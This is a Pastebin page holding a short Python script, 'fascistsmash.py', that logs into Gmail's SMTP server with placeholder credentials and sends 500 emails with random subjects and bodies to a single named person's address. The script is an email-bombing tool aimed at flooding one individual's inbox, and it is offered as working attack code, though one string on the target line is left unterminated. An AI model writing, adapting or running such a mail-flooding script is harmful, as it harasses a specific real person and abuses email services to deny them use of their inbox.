Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # fascistsmash.py
- import smtplib
- import string
- import random
- def sendmail(msg, recipient):
- try:
- server.sendmail("Fuck Fascism", recipient, msg)
- except Exception, R:
- print R
- def randomgen(length):
- n = ""
- for i in range(1,length):
- n+=random.choice(string.ascii_letters)
- return n
- def generatemessage(subject, content):
- return 'Subject: Fuck Fascism %s\n\n%s' % (subject, content)
- try:
- # Define an smptp object to connect with
- server = smtplib.SMTP_SSL()
- print "Defined server"
- # And connect it to google's smtp server
- server.connect("smtp.gmail.com",465)
- print "Connected"
- server.ehlo()
- server.login("user@gmail.com", "password") #replace these
- print "Completed login"
- target = "richardbspencer@mc.com
- # Send a message with a random subject and body 100 times
- for i in range(500):
- message = generatemessage(randomgen(12), randomgen(50))
- print "Load!"
- sendmail(message, target)
- print "Fire!"
- except Exception, R:
- print R
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement